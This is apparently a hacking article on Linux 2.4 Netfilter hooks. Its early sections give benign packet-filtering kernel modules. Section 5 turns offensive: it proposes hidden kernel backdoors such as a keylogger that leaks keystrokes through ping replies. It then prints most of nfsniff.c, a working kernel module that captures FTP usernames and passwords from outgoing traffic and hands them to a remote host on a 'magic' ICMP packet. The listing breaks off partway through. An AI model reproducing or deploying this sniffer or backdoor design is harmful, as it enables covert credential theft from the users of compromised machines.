Hacking the Linux Kernel Network Stack

Table of Contents

1 - Introduction
  1.1 - What this document is
  1.2 - What this document is not
2 - The various Netfilter hooks and their uses
  2.1 - The Linux kernel's handling of packets
  2.2 - The Netfilter hooks for IPv4
3 - Registering and unregistering Netfilter hooks
4 - Packet filtering operations with Netfilter
  4.1 - A closer look at hook functions
  4.2 - Filtering by interface
  4.3 - Filtering by address
  4.4 - Filtering by TCP port
5 - Other possibilities for Netfilter hooks
  5.1 - Hidden backdoor daemons
  5.2 - Kernel based FTP password sniffer
    5.2.1 - The code... nfsniff.c
    5.2.2 - getpass.c
6 - Hiding network traffic from Libpcap
  6.1 - SOCK_PACKET, SOCK_RAW and Libpcap
  6.2 - Wrapping the cloak around the dagger
7 - Conclusion
A - Light-Weight Fire Wall
  A.1 - Overview
  A.2 - The source... lwfw.c
  A.3 - lwfw.h
B - Code for section 6


--[ 1 - Introduction

This article  describes  how  quirks (not necessarily  weaknesses)  in the
Linux network stack can be used for various purposes, nefarious or otherw-
ise.  Presented here will be a  discussion on using  seemingly  legitimate
Netfilter hooks for backdoor communications and also a technique to hide
such traffic from a Libpcap based sniffer running on the local machine.

Netfilter  is  a   subsystem  in the Linux 2.4  kernel.   Netfilter  makes
such  network  tricks as  packet  filtering,  network address  translation
(NAT) and connection tracking possible through the use of various hooks in
the kernel's network code. These hooks are places that kernel code, either
statically  built  or  in  the form  of a loadable  module,  can  register
functions to be called for specific  network events. An example of such an
event is the reception of a packet.


----[ 1.1 - What this document is

This document discusses  how a module writer can make use of the Netfilter
hooks  for whatever  purposes and also how  network traffic  can be hidden
from a Libpcap application.  Although  Linux 2.4 supports  hooks for IPv4,
IPv6 and DECnet,  only IPv4 will be discussed  in this document.  However,
most of the IPv4 content can be applied to the other protocols. As an aide
to teaching, a working kernel module that  provides basic packet filtering
is provided in Appendix A.  Any  development/experimentation done for this
document  was done on an  Intel machine running  Linux 2.4.5.  Testing the
behaviour  of  Netfilter  hooks was done  using  the  loopback device,  an
Ethernet device and a modem Point-to-Point interface.

This  document  is also  written for  my benefit  in an  attempt  to  fully
understand Netfilter.  I do not guarantee that  any code  accompanying this
document is 100% error free  but I have  tested all  code provided here.  I
have suffered  the kernel  faults so hopefully  you won't have to.  Also, I
do  not  accept any  responsibility  for  damages  that may  occur  through
following this document. It is expected that the reader be comfortable with
the C   programming language and have some experience with  Loadable Kernel
Modules.

If I have  made a mistake in something presented here then please let me
know. I am also open to suggestions on either improving this document or
other nifty Netfilter tricks in general.


----[ 1.2 - What this document is not

This document is not a complete ins-and-outs reference for Netfilter. It
is also *not* a reference for the iptables command. If you want to learn
more about the iptables command, consult the man pages.

So let's get started with an introduction to using Netfilter...


--[ 2 - The various Netfilter hooks and their uses
----[ 2.1 - The Linux kernel's handling of packets

As much as I would love to go into the gory details of Linux's handling of
packets  and the events  preceeding  and following  each Netfilter hook, I
won't. The simple  reason is that  Harald Welte has already written a nice
document  on  the subject,  his Journey  of a Packet Through the Linux 2.4
Network Stack  document. To learn  more on Linux's  handling of packets, I
strongly  suggest  that  you  read this  document  as well.  For now, just
understand that as a packet moves through the Linux kernel's network stack
it crosses  several hook  locations where packets can be analysed and kept
or discarded. These are the Netfilter hooks.


------[ 2.2 The Netfilter hooks for IPv4

Netfilter defines five hooks for IPv4.  The declaration of the symbols for
these can be  found in  linux/netfilter_ipv4.h.  These hooks are displayed
in the table below:

Table 1: Available IPv4 hooks

   Hook                 Called
NF_IP_PRE_ROUTING   After sanity checks, before routing decisions.
NF_IP_LOCAL_IN      After routing decisions if packet is for this host.
NF_IP_FORWARD       If the packet is destined for another interface.
NF_IP_LOCAL_OUT     For packets coming from local processes on
    their way out.
NF_IP_POST_ROUTING  Just before outbound packets "hit the wire".

The  NF_IP_PRE_ROUTING  hook  is called  as the first  hook after a packet
has been received.  This is the hook that the module presented later  will
utilise. Yes the other hooks are  very  useful  as  well, but  for now  we
will  focus  only on NF_IP_PRE_ROUTING.

After hook  functions have done  whatever  processing they need to do with
a packet they must  return one of the  predefined  Netfilter return codes.
These codes are:

Table 2: Netfilter return codes
Return Code          Meaning
  NF_DROP        Discard the packet.
  NF_ACCEPT      Keep the packet.
  NF_STOLEN      Forget about the packet.
  NF_QUEUE       Queue packet for userspace.
  NF_REPEAT      Call this hook function again.


The   NF_DROP  return  code  means  that  this  packet  should  be  dropped
completely  and  any  resources  allocated  for  it  should  be   released.
NF_ACCEPT tells Netfilter  that so far the  packet is  still acceptable and
that it  should move to the  next stage of the network stack.  NF_STOLEN is
an interesting one because it tells Netfilter to "forget" about the packet.
What this  tells Netfilter is  that the hook  function will take processing
of this packet from  here and that Netfilter  should drop all processing of
it.  This does  not  mean,  however, that  resources  for  the  packet  are
released. The packet and it's respective sk_buff structure are still valid,
it's just that  the hook  function has  taken  ownership of the packet away
from  Netfilter.  Unfortunately  I'm  not  exactly  clear on  what NF_QUEUE
really  does  so  for  now  I won't  discuss  it.  The  last return  value,
NF_REPEAT requests that Netfilter calls the hook  function again. Obviously
one must be careful using NF_REPEAT so as to avoid an endless loop.


--[ 3 - Registering and unregistering Netfilter hooks

Registration of a  hook  function is a very  simple  process  that revolves
around  the  nf_hook_ops   structure,  defined  in  linux/netfilter.h.  The
definition of this structure is as follows:

          struct nf_hook_ops {
                  struct list_head list;

                  /* User fills in from here down. */
                  nf_hookfn *hook;
                  int pf;
                  int hooknum;
                  /* Hooks are ordered in ascending priority. */
                  int priority;
          };

The  list  member of  this  structure is  used to  maintain  the  lists  of
Netfilter hooks and has no importance for hook registration as far as users
are concerned.  hook is a  pointer to a  nf_hookfn  function.  This is  the
function  that will be  called  for  the  hook.  nf_hookfn  is  defined  in
linux/netfilter.h as well. The pf field specifies a protocol family.  Valid
protocol families are available from linux/socket.h but for IPv4 we want to
use PF_INET.  The  hooknum  field specifies the  particular hook to install
this function  for and is one of the values listed in table 1. Finally, the
priority field specifies where in the order of execution this hook function
should   be   placed.   For  IPv4,   acceptable  values   are   defined  in
linux/netfilter_ipv4.h  in the  nf_ip_hook_priorities  enumeration. For the
purposes of demonstration modules we will be using NF_IP_PRI_FIRST.

Registration  of a  Netfilter hook  requires using a  nf_hook_ops structure
with the nf_register_hook() function. nf_register_hook() takes the  address
of an nf_hook_ops structure and returns an integer value.  However, if  you
actually   look  at   the  code   for  the  nf_register_hook()  function in
net/core/netfilter.c, you will notice that it only ever returns a  value of
zero. Provided below is example code that simply registers a function  that
will drop all  packets that  come  in.  This code  will also  show  how the
Netfilter return values are interpreted.

Listing 1. Registration of a Netfilter hook
/* Sample code to install a Netfilter hook function that will
* drop all incoming packets. */

#define __KERNEL__
#define MODULE

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */
static struct nf_hook_ops nfho;

/* This is the hook function itself */
unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
    return NF_DROP;           /* Drop ALL packets */
}

/* Initialisation routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook = hook_func;         /* Handler function */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */

    nf_register_hook(&nfho);
   
    return 0;
}

/* Cleanup routine */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}

That's all there is to it.  From the code given in listing 1 you can  see
that  unregistering  a  Netfilter  hook is a  simple  matter  of  calling
nf_unregister_hook() with  the address of the same structure  you used to
register the hook.


--[ 4 - Basic packet filtering techniques with Netfilter
----[ 4.1 - A closer look at hook functions

Now  its  time to  start looking  at what  data gets  passed  into  hook
functions  and how that data  an be used to make filtering decisions. So
let's look more  closely at  the prototype  for nf_hookfn functions. The
prototype is given in linux/netfilter.h as follows:

  typedef unsigned int nf_hookfn(unsigned int hooknum,
                                         struct sk_buff **skb,
                                         const struct net_device *in,
                                         const struct net_device *out,
                                         int (*okfn)(struct sk_buff *));

The first argument to  nf_hookfn  functions  is a value specifying one of
the hook types given in table 1. The second argument is more interesting.
It is a pointer to a pointer to a  sk_buff  structure, the structure used
by  the network  stack to describe packets.  This structure is defined in
linux/skbuff.h  and due to its  size, I shall only highlight some of it's
more interesting fields here.

Possibly the  most useful fields out of  sk_buff structures are the three
unions that describe the transport header (ie. UDP, TCP, ICMP, SPX),  the
network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet
or RAW). The names of these unions are h, nh and mac respectively.  These
unions contain several structures, depending on what protocols are in use
in a  particular packet.  One should note that  the transport  header and
network header may very well point to the same  location in memory.  This
is  the  case for TCP packets where  h  and  nh  are both  considered  as
pointers  to IP header structures.  This means  that attempting  to get a
value from h->th thinking it's pointing to the TCP header will  result in
false results because h->th will actually be pointing to the  IP  header,
just like nh->iph.

Other  fields of  immediate  interest are the  len and  data fields.  len
specifies the total length of the packet data beginning at data.  So  now
we know how to access  individual protocol  headers and  the  packet data
itself  from  a   sk_buff  structure.   What other  interesting  bits  of
information are available to Netfilter hook functions?

The  two  arguments  that  come  after   skb   are pointers to net_device
structures.   net_device  structures are  what the  Linux  kernel uses to
describe network interfaces of all sorts.  The first of these structures,
in,  is  used  to  describe the  interface the  packet  arrived on.   Not
surprisingly, the  out  structure  describes  the interface the packet is
leaving on.  It is  important to  realise that  usually only one of these
structures will be provided.  For instance, in will only be provided  for
the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided
for the  NF_IP_LOCAL_OUT  and  NF_IP_POST_ROUTING  hooks. At this stage I
haven't  tested  which  of  these  structures  are   available   for  the
NF_IP_FORWARD hook but if you make sure the pointers  are non-NULL before
attempting to  dereference  them you  should be fine.

Finally,  the last item passed into a hook function is a function pointer
called  okfn  that takes a  sk_buff  structure as  its only  argument and
returns an integer. I'm not too sure on what this function does.  Looking
in  net/core/netfilter.c  there are two places where this okfn is called.
These  two places are  in the functions  nf_hook_slow() and nf_reinject()
where at a  certain place this  function is called on a  return value  of
NF_ACCEPT from a Netfilter hook. If anybody has more information on  okfn
please let me know.

Now that we've looked at the most interesting and useful bits of informa-
tion that our hook functions receive, it's time to look at how we can use
that information to filter packets in a variety of ways.


----[ 4.2 - Filtering by interface

This  would have to  be  the  simplest  filtering  technique  we  can do.
Remember those net_device structures  our hook  function received?  Using
the name field from the relevant  net_device  structure allows us to drop
packets depending on their source interface or destination  interface. To
drop all packets that  arrive  on interface  eth0 all  one has  to  do is
compare the value of  in->name  with "eth0".  If the names match then the
hook function simply returns NF_DROP and the packet is destroyed. It's as
easy as that. Sample code to do this is provided in listing 2 below. Note
that the Light-Weight FireWall module will  provide  simple  examples  of
all the  filtering  methods  presented here.  It also  includes an  IOCTL
interface and application to change its behaviour dynamically.

Listing 2. Filtering packets based on their source interface

/* Sample code to install a Netfilter hook function that will
* drop all incoming packets on an interface we specify */
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* This is the structure we shall use to register our function */
  static struct nf_hook_ops nfho;

/* Name of the interface we want to drop packets from */
  static char *drop_if = "lo";

/* This is the hook function itself */
  unsigned int hook_func(unsigned int hooknum,
                         struct sk_buff **skb,
                         const struct net_device *in,
                         const struct net_device *out,
                         int (*okfn)(struct sk_buff *))
{
    if (strcmp(in->name, drop_if) == 0) {
        printk("Dropped packet on %s.../n", drop_if);
        return NF_DROP;
    } else {
        return NF_ACCEPT;
    }
}

/* Initialisation routine */
int init_module()
{
    /* Fill in our hook structure */
    nfho.hook     = hook_func;         /* Handler function */
    nfho.hooknum  = NF_IP_PRE_ROUTING; /* First hook for IPv4 */
    nfho.pf       = PF_INET;
    nfho.priority = NF_IP_PRI_FIRST;   /* Make our function first */
 
    nf_register_hook(&nfho);
   
    return 0;
}

/* Cleanup routine */
void cleanup_module()
{
    nf_unregister_hook(&nfho);
}

Now isn't that simple? Next, let's have a look at filtering based on IP
addresses.


----[ 4.3 - Filtering by address

As with filtering packets by their interface, filtering packets by their
source  or  destination  IP address  is very  simple.  This  time we are
interested in the sk_buff structure. Now remember that the  skb argument
is a pointer to a pointer to a sk_buff structure.  To avoid running into
problems it is good practice to declare a seperate pointer to a  sk_buff
structure  and assign the value pointed to by skb to this newly declared
pointer. Like so:

      struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /

Now you  only have to  dereference once  to access  items in the structure.
Obtaining the IP header for a packet is done using the network layer header
from the the sk_buff structure. This header is contained in a union and can
be accessed as sk_buff->nh.iph. The function in listing 3  demonstrates how
to check the source IP address  of a received packet  against an address to
deny  when given a  sk_buff  for the  packet.  This  code has  been  pulled
directly  from  LWFW.  The  only  difference  is that  the update  of  LWFW
statistics has been removed.

Listing 3. Checking source IP of a received packet

  unsigned char *deny_ip = "/x7f/x00/x00/x01";  /* 127.0.0.1 */
 
  ...

          static int check_ip_packet(struct sk_buff *skb)
          {
              /* We don't want any NULL pointers in the chain to
       * the IP header. */
              if (!skb )return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;
         
              if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {
          return NF_DROP;
              }

              return NF_ACCEPT;
          }

Now if the source address matches the address we want to drop packets from
then the  packet is  dropped.  For this  function to work as presented the
value of  deny_ip  should be  stored  in  Network Byte Order  (Big-endian,
opposite of Intel).  Although  it's  unlikely that  this  function will be
called  with a  NULL pointer  for it's  argument,  it never  hurts to be a
little paranoid.  Of course if an  error does occur then the function will
return NF_ACCEPT so that  Netfilter  can continue  processing  the packet.
Listing 4 presents the simple module  used to  demonstrate interface based
filtering  changed so  that it drops packets that  match a  particular  IP
address.

Listing 4. Filtering packets based on their source address
          /* Sample code to install a Netfilter hook function that will
          * drop all incoming packets from an IP address we specify */

          #define __KERNEL__
          #define MODULE

          #include <linux/module.h>
          #include <linux/kernel.h>
          #include <linux/skbuff.h>
          #include <linux/ip.h>                  /* For IP header */
          #include <linux/netfilter.h>
          #include <linux/netfilter_ipv4.h>

          /* This is the structure we shall use to register our function */
          static struct nf_hook_ops nfho;

          /* IP address we want to drop packets from, in NB order */
          static unsigned char *drop_ip = "/x7f/x00/x00/x01";

          /* This is the hook function itself */
          unsigned int hook_func(unsigned int hooknum,
                                 struct sk_buff **skb,
                                 const struct net_device *in,
                                 const struct net_device *out,
                                 int (*okfn)(struct sk_buff *))
          {
              struct sk_buff *sb = *skb;

              if (sb->nh.iph->saddr == drop_ip) {
                  printk("Dropped packet from... %d.%d.%d.%d/n",
    *drop_ip, *(drop_ip + 1),
  *(drop_ip + 2), *(drop_ip + 3));
                  return NF_DROP;
              } else {
                  return NF_ACCEPT;
              }
          }

          /* Initialisation routine */
          int init_module()
          {
              /* Fill in our hook structure */
              nfho.hook     = hook_func;
              /* Handler function */
              nfho.hooknum  = NF_IP_PRE_ROUTING; /* First for IPv4 */
              nfho.pf       = PF_INET;
              nfho.priority = NF_IP_PRI_FIRST;   /* Make our func first */
         
              nf_register_hook(&nfho);

              return 0;
          }
         
  /* Cleanup routine */
          void cleanup_module()
          {
              nf_unregister_hook(&nfho);
          }


----[ 4.4 - Filtering by TCP port

Another simple  rule to  implement is the  filtering of  packets based on
their TCP destination port.  This is only a bit more fiddly than checking
IP addresses because  we need  to  create  a  pointer  to  the TCP header
ourselves.  Remember what was discussed earlier about  transport  headers
and  network  headers?  Getting a pointer  to the TCP header  is a simple
matter of allocating a pointer to a struct tcphdr (define in linux/tcp.h)
and  pointing after the IP header in our packet data.  Perhaps an example
would help.  Listing 5 presents code to check if the destination TCP port
of a packet matches some  port we want to drop all  packets for.  As with
listing 3, this was taken from LWFW.

Listing 5. Checking the TCP destination port of a received packet
          unsigned char *deny_port = "/x00/x19";   /* port 25 */

  ...

          static int check_tcp_packet(struct sk_buff *skb)
          {
              struct tcphdr *thead;

              /* We don't want any NULL pointers in the chain
       * to the IP header. */
              if (!skb ) return NF_ACCEPT;
              if (!(skb->nh.iph)) return NF_ACCEPT;

              /* Be sure this is a TCP packet first */
              if (skb->nh.iph->protocol != IPPROTO_TCP) {
                  return NF_ACCEPT;
              }

              thead = (struct tcphdr *)(skb->data +
                                       (skb->nh.iph->ihl * 4));

              /* Now check the destination port */
              if ((thead->dest) == *(unsigned short *)deny_port) {
                  return NF_DROP;
              }
         
      return NF_ACCEPT;
          }

Very simple indeed. Don't forget that for this function to work deny_port
should be in network byte order.  That's it for packet filtering  basics,
you should have a fair understanding of how to get to the information you
want for a specific packet.  Now it's time to move onto more  interesting
stuff.


--[ 5 - Other possibilities for Netfilter hooks

Here I'll  make some  proposals for  other cool stuff to do with Netfilter
hooks. Section 5.1 will simply provide food for thought, while section 5.2
shall  discuss and  provide working code for a kernel based  FTP  password
sniffer with  remote password  retrieval that really does work. It fact it
works so well it scares me, and I wrote it.

----[ 5.1 - Hidden backdoor daemons

Kernel module  programming would have  to be one  of the  most interesting
areas of development for Linux.  Writing code in the kernel means  you are
writing code in a place  where you are  limited only by  your imagination.
From a malicous point of  view you can  hide files,  processes, and do all
sorts of cool things that  any  rootkit worth its salt is capable of. Then
from a not-so-malicious point of view (yes people  with this point of view
do exist) you can hide  files,  processes and do all sorts of cool things.
The kernel really is a fascinating place.

Now with all the power made available to a kernel level  programmer, there
are  a lot of possibilities.  Possibly one  of the most  interesting  (and
scary for  system  administrators) is  the possibility of backdoors  built
right into the kernel.  Afterall, if a  backdoor doesn't  run as a process
then how do you know it's running? Of course there are ways of making your
kernel  cough-up  such backdoors,  but they are by  no means  as easy  and
simple as running ps.  Now the idea of putting backdoor code into a kernel
is not new.  What I'm proposing  here, however, is placing  simple network
services as kernel backdoors using, you guessed it, Netfilter hooks.

If  you have the  necessary skills and willingness to crash your kernel in
the name of experimentation,  then you can  construct  simple  but  useful
network services located  entirely in the  kernel and accessible remotely.
Basically a  Netfilter  hook could  watch incoming  packets  for a "magic"
packet  and  when  that magic packet  is received,  do something  special.
Results can then be sent from the Netfilter hook and the hook function can
return NF_STOLEN so that the received "magic" packet goes no further. Note
however, that when sending in such a fassion, outgoing packets will  still
be visible on the outbound Netfilter hooks. Therefore userspace is totally
unaware  that  the magic  packet  ever  arrived, but they  can  still  see
whatever you send out. Beware! Just because a sniffer on a compromised host
can't see the packet, doesn't mean that a sniffer  on an intermediate host
can't see the packet.

kossak  and  lifeline wrote an excellent article for Phrack describing how
such things could  be done by registering  packet  type handlers. Although
this document deals with  Netfilter  hooks I still  suggest reading  their
article  (Issue 55, file 12)  as it is a very  interesting  read with some
very interesting ideas being presented.

So what kind of work  could a  backdoor  Netfilter hook do? Well, here are
some suggestions:
  -- Remote access key-logger. Module logs keystrokes and results are
     sent to a remote host when that host sends a PING request. So a
     stream of keystroke information could be made to look like a steady
     (don't flood) stream of PING replies. Of course one would want to
     implement a simple encryption so that ASCII keys don't show
     themselves immediately and some alert system administrator goes
     "Hang on. I typed that over my SSH session before! Oh $%@T%&!".
  -- Various simple administration tasks such as getting lists of who is
     currently logged onto the machine or obtaining information about
     open network connections.
  -- Not really a backdoor as such, but a module that sits on a network
     perimeter and blocks any traffic suspected to come from trojans,
     ICMP covert channels or file sharing tools like KaZaa.
  -- File transfer "server". I have implemented this idea recently. The
     resulting LKM is hours of fun :).
  -- Packet bouncer. Redirects packets aimed at a special port on the
     backdoored host to another IP host and port and sends packets from
     that host back to the initiator. No process being spawned and best of
     all, no network socket being opened.
  -- Packet bouncer as described above used to communicate with critical
     systems on a network in a semi-covert manner. Eg. configuring routers
     and such.
  -- FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save
     the information until a magic packet comes in asking for it.

Well that's a short list of ideas.  The last one will actually  be discussed
in more detail in the next section as it provides a nice oppurtunity to look
at some more functions internal to the kernel's network code.

----[ 5.2 - Kernel based FTP password sniffer

Presented here is a simple proof-of-concept module that acts as a Netfilter
backdoor. This module will sniff  outgoing FTP packets  looking for a  USER
and  PASS command pair for an FTP server.  When a pair is  found the module
will then wait for  a "magic" ICMP ECHO (Ping) packet big  enough to return
the server's IP  address and the username and password.  Also provided is a
quick hack that sends a magic packet, gets a reply then prints the returned
information. Once a username/password pair has been read from the module it
will then look for the next pair. Note that only one pair will be stored by
the module at one time.  Now that a brief overview  has been provided, it's
time to present a more detailed look at how the module does its thing.

When loaded,  the module's  init_module()  function  simply  registers  two
Netfilter  hooks.  The  first  one is used  to watch  incoming  traffic (on
NF_IP_PRE_ROUTING)  in an attempt  to find a "magic" ICMP packet.  The next
one is used  to watch  traffic leaving the machine  (on NF_IP_POST_ROUTING)
the  module is installed on.  This is where the search  and capture of  FTP
USER  and  PASS  packets happens.  The  cleanup_module()  procedure  simply
unregisters these two hooks.

watch_out()  is the  function used to hook  NF_IP_POST_ROUTING.  Looking at
this  function  you can see  that it is very  simple  in operation.  When a
packet enters the function it is run through various checks to be sure it's
an  FTP  packet.  If it's not  then a  value  of   NF_ACCEPT   is  returned
immediately.  If it is an FTP packet then the module checks to be sure that
it doesn't already have a username and password pair already queued.  If it
does (as signalled by have_pair being non-zero) then  NF_ACCEPT is returned
and the packet can  finally leave the system.  Otherwise,  the  check_ftp()
procedure is called.  This is where  extraction of passwords actually takes
place.  If no previous packets  have been received then the  target_ip  and
target_port variables should be cleared.

check_ftp()  starts by looking for either  "USER",  "PASS" or "QUIT" at the
beginning of the packet.  Note that  PASS commands  will not  be  processed
until a USER command has been processed. This prevents deadlock that occurs
if for  some reason  a PASS command  is received first  and the  connection
breaks before  USER arrives.  Also, if a  QUIT  command arrives  and only a
username has been captured then things are reset so sniffing can start over
on a new connection. When a USER or PASS command arrives, if the  necessary
sanity checks are passed then the argument  to the command  is copied. Just
before check_ftp() finishes under normal operations, it checks to see if it
now has a valid username and password string. If it does then  have_pair is
set and no more  usernames or  passwords will be grabbed  until the current
pair is retrieved.

So far you have seen how this module installs itself and begins looking for
usernames  and passwords  to log.  Now you  shall see what happens when the
specially  formatted "magic" packet arrives.  Pay particular attention here
because this is where the most problems arose during development. 16 kernel
faults if I remember correctly :).  When packets come into the machine with
this module installed, watch_in() checks each one  to see if it is a  magic
packet.  If it does not pass  the necessary  requirements to be  considered
magic,  then  the  packet  is  ignored by  watch_in()  who  simply  returns
NF_ACCEPT.  Notice how one of the  criteria for  magic packets is that they
have enough room  to hold the IP address and username and password strings.
This is done to make sending the reply easier.  A fresh sk_buff  could have
been allocated,  but getting  all of the  necessary  fields  right  can  be
difficult  and you  have to  get them right!  So instead of  creating a new
structure for  our reply  packet, we  simply  tweak  the  request  packet's
structure.  To  return the  packet successfully, several changes need to be
made.  Firstly, the  IP addresses  are swapped  around and  the packet type
field of the  sk_buff  structure (pkt_type)  is changed to  PACKET_OUTGOING
which is defined in  linux/if_packet.h.  The next thing to take  care of is
making sure any link  layer  headers are included.  The data  field of  our
received packet's sk_buff points after the  link layer header and it is the
data field that points to the beginning of  packet data to be  transmitted.
So for interfaces that require the link layer header (Ethernet and Loopback
Point-to-Point is raw) we  point the  data field  to the  mac.ethernet  or
mac.raw structures. To determine what type of interface this packet came in
on, you can check  the value of  sb->dev->type  where  sb is a pointer to a
sk_buff  structure.   Valid  values  for  this   field   can  be  found  in
linux/if_arp.h but the most useful are given below in table 3.

Table 3: Common values for interface types

Type Code        Interface Type
ARPHRD_ETHER     Ethernet
ARPHRD_LOOPBACK  Loopback device
ARPHRD_PPP       Point-to-point (eg. dialup)

The last thing to be done is actually copy the data we want to send in our
reply.  It's now time to send the packet.  The  dev_queue_xmit()  function
takes a pointer to a sk_buff structure as it's only argument and returns a
negative errno  code on a nice  failure.  What do I  mean by nice failure?
Well, if you give dev_queue_xmit() a badly constructed socket buffer  then
you will get a  not-so-nice  failure.  One that comes complete with kernel
fault and kernel stack dump information. See how failures can be splt into
two groups here? Finally, watch_in() returns  NF_STOLEN to tell  Netfilter
to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return
NF_DROP  if you have  called  dev_queue_xmit()!  If you do  then you  will
quickly get a nasty kernel fault.  This is because  dev_queue_xmit()  will
free the passed in socket buffer and Netfilter will attempt to do the same
with an NF_DROPped packet. Well that's enough discussion on the code, it's
now time to actually see the code.


------[ 5.2.1 - The code... nfsniff.c

<++> nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

/* Written by bioforge,  March 2003 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) /
       - sizeof(struct iphdr) /
       - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0; /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;        /* Incoming */
struct nf_hook_ops  post_hook;        /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
  
   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->doff * 4));

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
       return;
  
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
     
      if (username)  return;
     
      while (*(data + i) != '/r' && *(data + i) != '/n'
     && *(data + i) != '/0' && i < 15) {
len++;
i++;
      }
     
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '/0';        /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
     
      while (*(data + i) != '/r' && *(data + i) != '/n'
     && *(data + i) != '/0' && i < 15) {
len++;
i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '/0';        /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
kfree(username);
username = NULL;
target_port = target_ip = 0;
have_pair = 0;

return;
      }
   } else {
      return;
   }

   if (!target_ip)
     target_ip = skb->nh.iph->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;        /* Have a pair. Ignore others until
* this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s/n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
      struct sk_buff **skb,
      const struct net_device *in,
      const struct net_device *out,
      int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;
  
   /* Make sure this is a TCP packet first */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;        /* Nope, not TCP */
  
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
  
   /* Now check to see if it's an FTP packet */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;        /* Nope, not FTP */
  
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
  
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
     struct sk_buff **skb,
     const struct net_device *in,
     const struct net_device *out,
     int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;        /* Where we copy data to in reply */
   unsigned int   taddr;        /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
    
   /* Is this an ICMP packet? */
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
  
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
  
   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
